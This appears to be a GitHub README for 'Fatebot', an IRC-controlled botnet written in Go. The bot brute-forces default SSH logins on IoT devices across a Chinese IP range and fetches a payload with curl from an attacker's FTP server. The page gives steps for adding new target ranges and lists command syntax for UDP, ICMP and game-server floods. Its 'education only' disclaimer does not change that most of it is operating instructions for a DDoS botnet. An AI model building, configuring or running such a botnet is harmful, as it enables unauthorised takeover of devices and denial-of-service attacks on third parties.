Attention Attention!!! My english is terrible. I’m so sorry about that 🙁

Fatebot v0.3.1

This is my first IRC bot for launch ddos attack, Mainly of scan target are IoT device that run linux and open default SSH port, This bot is write on Go language. For education purpose only. Please test it in your lab. And i create this for join university in the future not for attack anyone server with out any permission!!!

IRC commands are in the bottom of The page.

Dr Fate


The infect function of this botnet is scanning by default SSH port(Scan on range of CHN network. You can add more or change it, if you want.)
and login by Brute-force attack. This botnet use “curl” to get payload from FTP server, so… please prepair your FTP server first, It very important for infect process.

I scan on my private netowrk in SSH range, And comment a function of running session.(That’s why bot is not join The server.)
SSH scan

Add more IP range

(1) Go to “scan.go” file in pkg folder. Add your new ip range in to The group of const varible.

	var_name = "224." // -
	var_anme = "224.12" // -

(2) Go to “NextIP” function, And add The case for your ip range and return range of your ip.

	case var_name:
			return ManageIP_range(ipRange, GenRange(255, 0))
	case var_name:
			return ManageIP_range(ipRange, "")

(3) Then go to The “SSH_Conn” function, And add your constant ip range to The array name “NetArr”.

	NetArr := []string{
		chpn1, chpn2, chpn3, chpn4, chpn5, cgpn1, cgpn2, cgpn3,
		cgpn4, cgpn5, cgpn6, var_name,


Raw socket programming is really hard for me. That’s why all of The volumetric are a simple like udp and icmp flood.
Main DDoS function is on The Application layer.

http post flood, dos example

Build payload

how to build

Update Lists

Fatebot v0.1 = Fatebot open release.

Fatebot v0.2 = Update get bot system information function and Add tutorial in main and scan file.

Fatebot v0.2.1 = Cut private scanning and OS signal by change it to delete when running. And change some IRC commands that will type easier.

Fatebot v0.2.2 = Cut scan failed report for fix server overheat and excess flood,
And Optimize by change ip range and default ping time, That will help to find SSH port faster.(Maybe, But fast than old one.)

Fatebot v0.3 = Update new DDoS Vector. Set size of UDP packet to 700 as default when bot herder not input The size.

Fatebot v0.3.1 = Fix vse and post flood. Fix IRC configuration that will make a little easy to config and change project layout.

IRC Commands

  • ?udp [ip] [size]
    • ?udp 500
    • – Flood UDP packets by random src and dst port to target.

      – Min and Max of Buffer is 1 – 700bytes.

  • ?icmp [ip]
    • ?icmp
    • – Flood ICMP with large packets to target.

  • ?vse [ip]
    • ?vse
    • – Flood UDP packets by random src port with valve source engine dst port. To the target server that used to host online games.

  • ?scan [ftp server]
    • ?scan
    • – Scan CHN ip range on SSH port and get payload with curl.

  • ?info
    • – Get bot system information.
  • ?kill
    • – Kick bot out of The server.
  • ?stopddos
    • – Stop ddos attacking.
  • ?stopscan
    • – Stop scanning.


View Github